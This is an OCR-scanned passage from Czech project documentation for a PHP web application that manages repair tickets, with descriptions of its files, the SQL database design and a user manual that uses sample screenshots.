pridani, tak 1 aktualizaci dat v tabulkdch zakaznik, opravenka a servis. Dale také
automatické odeslani e-mailu zékaznikovi v piipadé zaskrtnuti checkboxu vytizeno.

rpc.php

Pomoci tohoto souboru je realizovano vyhledavani zakaznik, jiz pfi psani textu do
vyhledavajiciho inputu.

rpc2.php

Pomoci tohoto souboru je realizovano vyhledavani opravenek, jiz pfi psani textu do
vyhledavajiciho inputu.

rpc3.php

Pomoci tohoto souboru je realizovano vyhledavani technikd, jiz pfi psani textu do
vyhledévajiciho inputu.

server_processing.php

Soubor je volan pres opravenky.php a vypisuje vSechny opravenky do piehledné
tabulky. Obsahuje AJAXovy kéd k modernéjSimu vyuziti. Lze tabulku fadit podle vSech
sloupcti vzestupné i1 sestupné. MlZete v ni vyhledavat pomoci vSech vypsanych sloupcti a
volit si pocet zobrazenych zaznamil bez nutnosti znovunacteni stranky.

server_processing2.php

Soubor je volan ptes technici.php a vypisuje vSechny techniky do ptehledné tabulky
stejné jako server processing.php.

servis.php

Obsahuje formulaf pro zadani dat servisnim oddélenim. Je includovan v souboru
index.php.

servisni_list.php

Zde je ulozena Sablona k tisku servisniho listu. Hlavic¢ka obsahuje skript, ktery
zajisti otevieni okna tisku. Je volan v souboru opravenky pomoci odkazu tisk servisniho
listu.
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smazani_opravenky.php

Zajistuje smazani opravenky z databaze. Je volan v souboru opravenky pomoci
odkazu smazat opravenku.

smazani_technika.php

Zajistuje smazani technika z databaze. Je volan v souboru technici pomoci odkazu
smazat technika.

zakaznik.php

Obsahuje formular pro zadani dat o zdkaznikovi a podrobnostech reklamace. Je
includovan v souboru index.php.
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15 SQL Navrh
15.1 ER - diagram

opravenka
'@ id_opravenky Int NN (PK) |
a= id_zak Int NN (PFK)
prijato Date NM
. zakiznik b vydej Date
d=id_zak Int NN (PK) IMEI Varchar(30) NN
jmenc  Varchar(50) NN kom plet nost Warchar(100)
prijimeni Varchar(50) NN : c=na Int
| telefon Varchar(13) NN znkova_opn  pristroj Varchar(100)
email archar(30) B+————4  druh_opravy Warchar(50) NN
ulice  Varchar(30) NN prijal Varchar(20) NN
cp Warchar(10) NN wada _ wWarchar(100}
mesto  “archar(30) NN ﬁslanu_sems E:ﬂtf-‘h se)
PSC_ Int NN m archar
1 i - prijato_servie Date
kom_zak Warchar(255) NN
pred_datum_opravy Date NM
prace Warchar{255)
. ﬁrizenn Int
servisni_list
i servis
[a= id_listu Int NN (PK} |
a= id_zak Int NN (PFK)
4= id_opravenky Int MM (PFRE)
@= id_tech Int NN (PFK)
zacatek_opravy Date technik
EEEEFEW ifﬂ'lﬂrﬂﬁ} servisni_technici[¢= id_tech Int NN (PK)
reklamace “archar{255) imeno  Varchar(50) NN
d odeslani Date prijmeni Warchar(S0} MM
d_vyrizeni Date telefon Varchar(13}) NN
.___Cend It

-~
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15.2 Rela¢ni model dat
ZAKAZNIK(id zak(PK), jmeno, prijmeni, telefon, email, ulice, cp, mesto, psc)

OPRAVENKA(id_opravenky(PK), id zak(PFK), prijato, vydej, IMEI, kompletnost, cena,
pristroj, druh_opravy, prijal, vada, poslano_servis, kam, prijato_servis, kom_zak,
pred datum_opravy, prace, vyrizeno)

SERVIS(id_listu(PK), id zak(PFK), id_opravenky(PFK), id tech(PFK), zacatek opravy,
d opravy, pozn, reklamace, d_odeslani, d vyrizeni, cena)

TECHNIK(id_tech(PK), jmeno, prijmeni, telefon)
15.3 Fyzicky model dat

ZAKAZNIK(id_zak(PK):int, jmeno:varchar(50), prijmeni:varchar(50),
telefon:varchar(13), email:varchar(30), ulice:varchar(50), cp:varchar(10),
mesto:varchar(30), psc:int)

OPRAVENKA(id opravenky(PK):int, id zak(PFK):int, prijato:date, vydej:date,
IMETI:varchar(30), kompletnost:varchar(100), cena:int, pristroj:varchar(100),
druh_opravy:varchar(50), prijal:varchar(20), vada:varchar(100), poslano_servis:date,
kam_:varchar(255), prijato_servis:date, kom_zak:varchar(255), pred datum_opravy:date,
prace:varchar(255), vyrizeno:int)

SERVIS(id_listu(PK):int, id_zak(PFK):int, id_opravenky(PFK):int, id_tech(PFK):int,
zacatek opravy:date, d_opravy:date, pozn:varchar(255), reklamace:varchar(255),
d_odeslani:date, d_vyrizeni:date, cena:int)

TECHNIK(id_tech(PK):int, jmeno:varchar(50), prijmeni:varchar(50), telefon:varchar(13))
15.4 Datovy slovnik

tabulka: Zakaznik

Sloupec Typ Nenulovy Popis

id_zak int Ano Jednoznac¢na identifikace zadkaznika.

jmeno varchar(50) Ano Jméno zakaznika.

prijmeni varchar(50) Ano Pfijmeni zakaznika.

telefon varchar(13) Ano Kontaktni telefon na zakaznika.

email varchar(50) Ne Na tento e-mail chodi informace o
reklamaci.

ulice varchar(30) Ano

cp varchar(10) Ano

mesto varchar(30) Ano

psc int Ano
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tabulka: Opravenka

Sloupec Typ Nenulovy Popis

id_opravenky int Ano Identifikator opravenek.

id_zak int Ano 1d zakaznika, kterému je pfifezen
objednavka.

prijato date Ano Datum pfijeti zbozi.

vydej date Ne Datum vydani zbozi zakaznikovi.

IMEI varchar(30) Ano Seriové Cislo pfistroje.

kompletnost varchar(100) Ne Dalsi pfisluSenstvi dodané s pfistrojem

cena int Ne Predpokladana cena opravy.

pristroj varchar(100) Ne Typ reklamovaného pfistroje.

druh_opravy varchar(50) Ano Zda se jedna o zarucni nebo pozaruéni
opravu.

prijal varchar(20) Ano Jméno a pfijmeni spolupracovnika, ktery
pfijal reklamaci.

vada varchar(100) Ne Zavada na pfistroji.

poslano_servis date Ne Datum odeslani zbozi do servisu.

kam varchar(255) Ne Adresa servisu.

prijato_servis date Ne Datum pfijeti zbozi do servisu.

kom zak varchar(255) Ano Zpusob jakym chce byt zékaznik
informovan a dalsi podrobnosti.

pred datum_ opravy date Ano Ptedpokladané datum opravy.

prace varchar(255) Ne Provedené prace na pfistroji.

vyrizeno int Ne Zda je reklamace vytizena.

tabulka: servis

Sloupec Typ Nenulovy Popis

id_listu int Ano Identifikator servisniho listu.

id_zak int Ano Id zékaznika, kterému patfi servisni list.

id_opravenky int Ano Id opravenky, které patii servisni list.

id_tech int Ano Id technika, ktery bude vyfizovat
reklamaci.

zacatek opravy date Ne Datum pocatku opravy.

d_opravy date Ne Pfesné datum provedeni opravy.

pozn varchar(255) Ne Poznamka od technika o pribéhu
reklamace.

reklamace varchar(255) Ne Odeslané dily k reklamaci.

d_odeslani date Ne Datum odeslani dila.

d_vyrizeni date Ne Datum skonceni reklamace.

cena int Ne Koncova cena opravy.

tabulka: technik

Sloupec Typ Nenulovy Popis

id_tech int Ano Kazda technik ma svoje id.
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jmeno varchar(50) Ano Jméno technika.

prijmeni varchar(50) Ano Pfijmeni technika.

telefon varchar(13) Ano Kontaktni telefon na technika.
Formulare:

Zde je vypis pouzitych formulaia v systému:

Vytvoteni zabezpeceného prostiedi.

Formuléf pro ptidani opravenky a servisniho listu
Odeslani e-mailu

Vyhledavani zakaznika

Vyhledavani technika

Vyhledavani opravenky

Formulafr sprava technik

Nk W=

Jejich funkce je patrnd znazvu. Vice o jejich vzhledu a funkci se dozvite
v uzivatelském manualu k tomuto systému.

Priloha C — Uzivatelska dokumentace

Pridat novou opravenkn | Pridat opravenku zikaznikovi | Zobrazit tutoe opravenku | Vypsat vsechny opravenky

Zakaznik Servis
Evidencni cislo Typ Pristroje Evidenéni tislo 7
7 Vyber zakaznika Mobilni telefon Technik
Jméno Pijmeni S Pat Mat Vyber technika
Petr Michalicka 3546346432123 Datum zacatku opravy: Datum opravy:
Ulice &p. st o 2010'-08-08 2010-08-08
TyrSova M Pouze telefon F'“Oznamkytectha
Méstio Psc 810 to dob¥e
Kutna Hora 28504 P
Telefon E-mail At A

123456789 flash8@centrum.cz
Druh Opravy: Pfijal

5&m se vypina

pozaruéni[»] |Lukag Movak 4
Ezmsodesléno: cena p
Praha 1000 Odeslané dily k reklamaci:
Kdy odeslano: Pijato dne: Fadne Datum odeslani:
2010-07-31 2010-08-04 2010-08-09
Kdy pfijato: Predpokladané datum oprawvy:

2010-08-07 2010-08-07
Datum wydani: Datum vyfizeni:
2010-08-09 VYRIZENO: [/ 2010-08-09

Komunikace se zakaznikem
e-mail Ed

KONCOVA CENA OPRAVY: | 2000

Provedené prace, pouzité ND: Sprava techniku

A

Odeslat

Obrazek 19 - Hlavni stranka sytému
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16 Uvod

Chcete urychlit riist Vasi firmy? Chcete si vybudovat stabilni vazbu se zakazniky?
Nebavi Vas nekonecné papirovani pii reklamacich? Chcete 1épe kontrolovat chod firmy?
Vyuzijte modernich technologii k efektivni komunikaci ve Vasi firmé!

Komunikacni systém pro servisni oddéleni je internetova aplikace, ktera ulehcuje
praci pracovnikim na pobockadch a urychluje komunikaci se servisnim oddé¢lenim.
Aplikace umoziuje automaticky generovat opravenky pii reklamaci zbozi. Déle jednoduse
sestavi servisni list s daji o pribéhu reklamace. Jakmile je reklamace vyfizena a zbozi
pfipraveno k dodani zpét zdkaznikovi, mizete zdkaznikovi lehce odeslat e-mail s blizSimi
informacemi.

Pii vyvoji byl kladen diiraz na jednoduchost a uzivatelskou ptivétivost, diky tomu
muze aplikaci obsluhovat i neproskoleny pracovnik.
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17 Funkce systému
17.1 Vytvoreni zabezpeéeného pristupu
V piipadé, ze chceme mit aplikaci zabezpecenou proti pfistupu neautorizovanych
uzivateldi, musime vytvotit pfistupové idaje pomoci souboru generator.php.
Vytvoreni zabezpeceneho pristupu

Uzivatelské jméno

Heslo

Generu

Obrazek 20 - Generovani zabezpeceného piistupu

Spustime si soubor ve webovém prohlizeci a zaddme poZzadované udaje. Po kliknuti
na tlacitko generuj se nam vytvofi povinné autorizace uzivatelii ptfi kazdém pfistupu do
systému. Soubor generator.php musi byt spustén pod opera¢nim systémem Linux!

17.2 Pridat novou opravenku

Funkce ptidat novou opravenku se nachdzi hned na hlavni strané prostredi systému.
Diky ni mtzete pohodIné piidavat opravenky a ukladat je do databdze. Vyuziva ji hlavné
pracovnik, ktery pfijima zbozi k reklamaci. Pracovnik vyplni dulezité udaje v tabulce
zakaznik jako jsou kontaktni udaje zakaznika, druh opravy, zdvadu, typ ptistroje a dalsi.

Jsou dany dva druhy oprav:

e Zarucni — zvoli se v ptipadé¢, ze je zbozi jesté v zarucni dobé.
e Pozaru¢ni — zvoli se v ptipad¢, ze je zbozi jiZz po zarucni dob¢.

Po uloZeni do databédze, kliknutim na tlaitko odeslat, zvoli pracovnik také
technika, ktery bude reklamaci vyfizovat. Volbu technika provedeme tim, ze vyhledame
prislusnou opravenku v databazi a editujeme ji. Po uspéSném vyftizeni vyplni servisni
technik tabulku servis. Automaticky ke kazdé opravence je generovan jeden servisni list.
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Zakaznik

Evidenéni gislo

Diruh Opravy: Prijal:
zaruéni |z| Karel Vomatgka

Typ Pristroje

Vyber zakaznika SHX-154
Jméno Pfijmeni: SN
Petr Movak 214568412312
Ulice Ep. Kompletnost
U Sadu 12? Pouze telefon
Mésto PSC
Praha 121 1 P
Telefon E-mail Zévada
728455467

Nefunguje mikrofon

Ezrrvnlfjdesléno: G

Praha

Kdy odeslano: Prijato dne:

2010-08-12 2010-08-12

Kdy pfijato: Predpokladané datum opravy:
2010-08-19

Datum vydani: = -
VYRIZENO:

Komunikace se zakaznikem:

e-mail

Provedené prace, pouZité MD:

Obrazek 21 - Pfidani nové opravenky

17.3 Pridat opravenku zakaznikovi

V piipadé, ze chcete pfidat novou opravenku zakaznikovi, ktery jiz vyuZil sluzeb
servisniho oddéleni, postupujte nasledovne:

e Kliknéte na vyber zakaznika

e Podle jména a ptijmeni vyhledejte zakaznika

e Po nacteni posledni opravenky zakaznika, kliknéte na pridat opravenku
zakaznikovi. Tim dojde ke smazani vSech udajl z formulate kromé
kontaktnich udaji o zdkaznikovi.

17.4 Zobrazit tuto opravenku

Po kliknuti na odkaz zobrazit tuto opravenku se nam zobrazi detaily aktudlni
opravenky. Funkce slouzi jako nahled vygenerované opravenky pted tiskem.
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Detaily opravenky s evidencnim cislem 7

OPRAVENKA BYLA PRIJATA 2010-08-04 | OPRAVENKU PRIJAL{A) LUKAS NOVAK

Upravit tdaje | Tisk opravenky | Tisk servisniho listu | Smazat opravenku | Odeslat e-mail

OPRAVENKA

Evidencéni éislo 7

Dodavetel: Zakaznik:

LUCO Zbynék

A Koneény Jméno: Petr Michalicka
Masarykova 652 Adresa: TyrSova 11 Kuina Hora

BUCQO  Usinadiavem  Tel 123456789

ww .|

vco.cz Tel: 325 551 095

w

Typ piistroje: Mobilni telefon IMEL 3546346432123
Druh opravy: pozaruchi Vada: Sam se vypina
Predpokladana cena:  1000kg Prijal: Lukas Novéak
Datum pfijeti: 2010-08-04 Zhotovit do: 2010-08-09

Obrazek 22 - Opravenka pripravena k tisku
Po kontrole udaji 1ze jednoduse opravenku vytisknout.
17.5 Upravit udaje

V ptipad€ nalezeni nesrovnalosti pii kontrole vygenerované opravenky, lze lehce
provést editaci pomoci funkce upravit udaje. Tato funkce nas vrati na hlavni stranku
aplikace, na které mizeme meénit pozadované Udaje. UloZeni zmény udaji dokoncime
pomoci tlacitka odeslat.

17.6 Tisk opravenky

Funkce nam zajiStuje pieneseni elektronické podoby opravenky do papirové.
Nahrazuje tak ikonku tisku u vétSiny bézné pouzivanych programu. Staci pouze zvolit
spravné tiskové zatizent.
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17.7 Tisk servisniho listu

Funkce ndm zajist'uje tisk servisniho listu po reklamaci zafizeni. Ke spravnému
generovani servisniho listu je nutné doplnéni potfebnych tdaji do tabulky servis, na hlavni
stran¢ aplikace, servisnim technikem.

SERVISNI LIST Evidenéni tislo 7

Dodavetel: Zikaznik:
LUCO Zbynck Konecny 1 ¢ro: Petr Michalicka
Masarvlkova 652 . ;
Lvsa n-a d Labem Adresa TyrSova 11 Kutna Hora

l_ CO Te]_ 175 551 005 Tel: 123456789
www.luco.cz
Tvp pfistroje: Mobilni telefon IMET: 3546346432123
Druh opravy: pozarucni Vada: Sam se vipina

Poznamlca servisu:

Slo to dobfe

Provedene prace, pousite ND:

Zacatek opravy: 2010-08-08 Datum opravy: 2010-08-08
Technilc: Pat Mat Konecna cena 2000ke

Smluvni podminky pro provadéni oprav
1. Nérok na ziréni opravu se Hdi zérinimi podminkami stanovenymi platnymi pravnimi pfedpisy CR, dale pak
podminkami prodejce a vyrobee.
2 Bervisnd centrum neméd za rtratu dat uloZenyeh v pamét opravovaného zafizerd Pokud zakarnik poZada o zalohovani
dat servis tento (kon provede (jeli to vzhledem ke stavu pfistroje moiné).
3. zdkarnik se zavamje Te v piipad® nezrealizované opravy (heodstranitelna vada nemi nahradnd dil nerentabilni
opravanelspiiny pokus o deoxidaci po vytopenizakaznik si opravu nepieje diagnostika zavady a podobng),ubradi
poplatek 430kE ktery hradi naldady spojené s diagnostikon Polud poplatek nebude uhrazen servis vyufije zadrrovaci
pravo a zafizerd nebude vydano aZ do doby Ghrady.
4 Zatizeni nevyzvednuté do § mésich od ukonfeni opravy, bude zlikvidovano nebo prodano za cenu opravy
Zakarnik potvizje fe se seznamil s virSe uvedenymi podminkami a Fe s mimi bez vyhrad souhlasi

Podpis zakaznika: .....cooooeeiiieeneeeceeennens

=

Obrazek 23 - Vygenerovany servisni list pfipraveny k tisku
17.8 Smazat opravenku

Zde lze smazat jiz uloZenou opravenku s databidze. Pouzivejte tuto funkci
v ojedinélych pftipadech, pouze k nendvratnému smazani opravenky. Prakticky kazda
neptesnost, vznikla naptiklad pfepsanim se, 1ze v opravence editovat a upravit.
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17.9 Odeslat e-mail

Tato funkce slouzi ke komunikaci servisniho oddéleni se zakaznikem. Odeslat e-
mail zékaznikovi 1ze dvéma zpisoby:

1. Vyuzitim funkce odeslat e-mail v menu detailu opravenky budete
pfesmérovani na jednoduchy formulaf k odeslani e-mailu. Vyplnite jméno a
piijmeni odesilatele, predmét a obsah e-mailu. Text Ize stylizovat pomoci
editoru TinyMCE.Vyuzijte tento zptsob pro vlastni sestaveni e-mailu.

2. Druhy zpiisob odeslani zajisti zaskrtnuti policka vy¥Fizeno pfti editaci
opravenky. Po zaskrtnuti a uloZzeni se automaticky odesle e-mail oznamujici
vyfizeni reklamace. Text e-mailu Ize upravit pouze ve zdrojovém kodu
v souboru pridani_zakaznika.php.

Email pro zakaznika Petr Michali¢ka

Zpét na wpis opravenek | Zpét na index

Jméno a pfijmeni :
Predmét :

Text :

Toto je defaultni taxt pro textareu. Editovat lze jednodute v
souboru mail_main.php.

| Styles ~ Format -
‘L £ \9’ (gl wrme

: |
— 2= *x x|
Odeslat email

Obrazek 24 - Rozhrani pro odeslani e-mailu pomoci 1. Zpisobu

Cd: LUCD servis [martin. kocourek 1@agmail . com]
Komu: flash&@centrum.cz
Kopie:

Predmét: Reklamace vyfizena

Vazenv zakazmiku,

Vase reklamace byla vvfizena! ZboZi je pfipraveno k odbéru.

LUCO servis

Obrazek 25 - Vzor automaticky odeslaného e-mailu
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17.10 Vyhledavani opravenek

Pii velkém mnozstvi opravenek urcité ocenite tuto funkci, pomoci které naleznete
pozadovanou opravenku béhem nékolika malo vtefin.

Prvni zpiisob jak vyhledat opravenku, je kliknout na odkaz vypsat vSechny
opravenky. Na nésledujici strance muzete vyhledavat pomoci eviden¢niho ¢isla, data
piijeti, jména, piijmeni, typu pfistroje a také sériového Cisla.

Zobraz [10 [=] poloZek Hledej: michalicka

ID Datum Jméno Piijmeni Nazev SIN
2010-08-04 Petr Michaliéka Mabilni telefon 3546346432123

9 0000-00-00 Michal Michalitka asdj

10 0000-00-00 Michal Michalitka abc 123

11 0000-00-00 Petr Michaliéka sfg wegwe

12 0000-00-00 Petr Michaliéka seznam 123

22 0000-00-00 Petr Michaliéka

1D Datum Jméno Prijmeni Nazev SIN
Zobrazeno 1 az 6 z 6 zaznamd (filtered from 18 total entries) 2l L

Obrazek 26 - Vyhledavani opravenek ve vypisu v§ech opravenek

Druhou moZnost vyuzijete v pfipadé, Ze mate zobrazen detail opravenky a
potfebuje nacist jinou opravenku. Sta¢i pouze nad detailem opravenky zadat do
vyhledavani evidencni ¢islo piipadné jméno nebo piijmeni zdkaznika.

Zpét | Zpét na vypis opravenek Vyhledavani opravenek:

Y
.3 3
Evidencni €islo: 9 (Michal Michalicka)

Evidenéni Cislo: 7 (Petr Michalicka)

Evidenéni Eislo: 11 (Petr Michalicka)

Evidencni €islo: 10 (Michal Michalicka)
l Evidenéni Cislo: 12 (Petr Michalitka)
v ‘_\,.4 el : 22 (Petr Michalicka)

IINE 2 IR

Detaily opravenky s evidencnim cislem 7

OPRAVENKA EYLA PRIJATA 2010-08-04 | OPRAVENKU PRIJAL{A)

Upravit Gdaje | Tisk opravenky | Tisk servisniho listu | Smazat opravenku | Odeslat e-mail

Obriazek 27 — Vyhledavani opravenek v detailu opravenky

17.11 Vypsat vSechny opravenky

Tuto funkci vyuzijte v ptipadé, Ze chcete vidét vSechny opravenky ulozené
v databéazi a poté napiiklad vyhledat urcitou opravenku. Funkce se nachazi pfimo na
uvodni strance aplikace. Lze tak jednodusSe zjistit pocet opravenek v databazi.
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17.12 Vyber technika

Zde miizete vybrat z databaze technika, ktery bude vyfizovat danou reklamaci.
Funkci naleznete v tabulce servis na uvodni strance aplikace. Po kliknuti budete
pfesmérovani na vyhledavaci formulai technikii. Vyhledavat lze pomoci jména nebo
pfijmeni. Poté kliknéte na vyber technika a technik bude pfifazen aktualni opravence.

Vyhledavani technika:

Zpét na index

=wE "I &=
e Mat Pat

L

17.13 Sprava techniku

Diky této funkci muzete pfidavat, odebirat nebo aktualizovat databazi techniki.
V ptipad¢, ze nastoupi novy technik Ize jej ptidat do databaze a smazat technika, ktery uz

rowr

ve spolecnosti nepracuje. Muzete také na karté technika upravit telefonni ¢islo.

Sprava technikt
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Karta technika Karel Omacka

TELEFON 728465481

Smazat technika

Jméno: Prijmeni-
Karel Omacka
Telefon:
728465481
UloZit idaje
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